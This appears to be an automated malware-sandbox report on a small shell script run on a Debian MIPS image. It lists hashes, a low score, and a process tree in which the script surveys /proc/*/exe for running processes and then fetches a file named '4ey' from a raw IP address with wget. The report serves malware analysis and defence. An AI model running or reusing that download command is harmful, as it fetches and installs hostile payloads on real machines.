35e66da427a1ad60fd9de1d0efc5ae98275cea581d21e2aebca59491b936caec

Analysis

max time kernel
147s
max time network
150s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
21/06/2026, 08:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_35e66da427a1ad60fd9de1d0efc5ae98275cea581d21e2aebca59491b936caec.sh
Size 839B
Sample260621-kshpgsdt3x
SHA256 35e66da427a1ad60fd9de1d0efc5ae98275cea581d21e2aebca59491b936caec
MD5 fdd1d37f1b6cc05cf665577aa6df3f46
SHA1 13e0e3aabbbfa542c75a0a468474a7585b850207
SHA512 2926b86e07ac038bc29e206fe84bde8e424113564dce87474c295eff9b7144895946f4e3de1674d769f451de44413a5987da588bbee99f42383e11893fa44314
TLSH
T19D0148D686417D105059DA9972979290B812D3CE094F0FB87FDC5E3DFB88D14B066E94
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/_35e66da427a1ad60fd9de1d0efc5ae98275cea581d21e2aebca59491b936caec.sh
/tmp/_35e66da427a1ad60fd9de1d0efc5ae98275cea581d21e2aebca59491b936caec.sh
1⤵
PID:705
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/115/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/116/exe
  2⤵
  - Reads runtime system information
  PID:727
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:728
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:730
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:732
- /bin/ls
  ls -l /proc/146/exe
  2⤵
  - Reads runtime system information
  PID:733
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:735
- /bin/ls
  ls -l /proc/150/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:739
- /bin/ls
  ls -l /proc/164/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:742
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:745
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:746
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:748
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/226/exe
  2⤵
  - Reads runtime system information
  PID:750
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/241/exe
  2⤵
  PID:753
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:754
- /bin/ls
  ls -l /proc/323/exe
  2⤵
  - Reads runtime system information
  PID:755
- /bin/ls
  ls -l /proc/324/exe
  2⤵
  - Reads runtime system information
  PID:756
- /bin/ls
  ls -l /proc/327/exe
  2⤵
  - Reads runtime system information
  PID:757
- /bin/ls
  ls -l /proc/330/exe
  2⤵
  - Reads runtime system information
  PID:758
- /bin/ls
  ls -l /proc/331/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/ls
  ls -l /proc/333/exe
  2⤵
  - Reads runtime system information
  PID:760
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  - Reads runtime system information
  PID:761
- /bin/ls
  ls -l /proc/37/exe
  2⤵
  - Reads runtime system information
  PID:762
- /bin/ls
  ls -l /proc/373/exe
  2⤵
  - Reads runtime system information
  PID:763
- /bin/ls
  ls -l /proc/374/exe
  2⤵
  PID:764
- /bin/ls
  ls -l /proc/376/exe
  2⤵
  - Reads runtime system information
  PID:765
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:766
- /bin/ls
  ls -l /proc/419/exe
  2⤵
  - Reads runtime system information
  PID:767
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:768
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:769
- /bin/ls
  ls -l /proc/660/exe
  2⤵
  - Reads runtime system information
  PID:770
- /bin/ls
  ls -l /proc/662/exe
  2⤵
  - Reads runtime system information
  PID:771
- /bin/ls
  ls -l /proc/666/exe
  2⤵
  - Reads runtime system information
  PID:772
- /bin/ls
  ls -l /proc/669/exe
  2⤵
  - Reads runtime system information
  PID:773
- /bin/ls
  ls -l /proc/670/exe
  2⤵
  - Reads runtime system information
  PID:774
- /bin/ls
  ls -l /proc/69/exe
  2⤵
  - Reads runtime system information
  PID:775
- /bin/ls
  ls -l /proc/693/exe
  2⤵
  - Reads runtime system information
  PID:776
- /bin/ls
  ls -l /proc/694/exe
  2⤵
  - Reads runtime system information
  PID:777
- /bin/ls
  ls -l /proc/699/exe
  2⤵
  - Reads runtime system information
  PID:778
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:779
- /bin/ls
  ls -l /proc/70/exe
  2⤵
  - Reads runtime system information
  PID:780
- /bin/ls
  ls -l /proc/701/exe
  2⤵
  - Reads runtime system information
  PID:781
- /bin/ls
  ls -l /proc/702/exe
  2⤵
  - Reads runtime system information
  PID:782
- /bin/ls
  ls -l /proc/704/exe
  2⤵
  - Reads runtime system information
  PID:783
- /bin/ls
  ls -l /proc/705/exe
  2⤵
  - Reads runtime system information
  PID:784
- /bin/ls
  ls -l /proc/706/exe
  2⤵
  - Reads runtime system information
  PID:785
- /bin/ls
  ls -l /proc/71/exe
  2⤵
  - Reads runtime system information
  PID:786
- /bin/ls
  ls -l /proc/72/exe
  2⤵
  - Reads runtime system information
  PID:787
- /bin/ls
  ls -l /proc/73/exe
  2⤵
  - Reads runtime system information
  PID:788
- /bin/ls
  ls -l /proc/75/exe
  2⤵
  - Reads runtime system information
  PID:789
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  PID:790
- /bin/ls
  ls -l /proc/77/exe
  2⤵
  - Reads runtime system information
  PID:791
- /bin/ls
  ls -l /proc/78/exe
  2⤵
  - Reads runtime system information
  PID:792
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:793
- /bin/ls
  ls -l /proc/81/exe
  2⤵
  - Reads runtime system information
  PID:794
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  - Reads runtime system information
  PID:795
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:796
- /bin/rm
  rm -rf 4ey
  2⤵
  PID:797
- /usr/bin/wget
  wget http://129.121.114.124/4ey
  2⤵
  PID:798

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads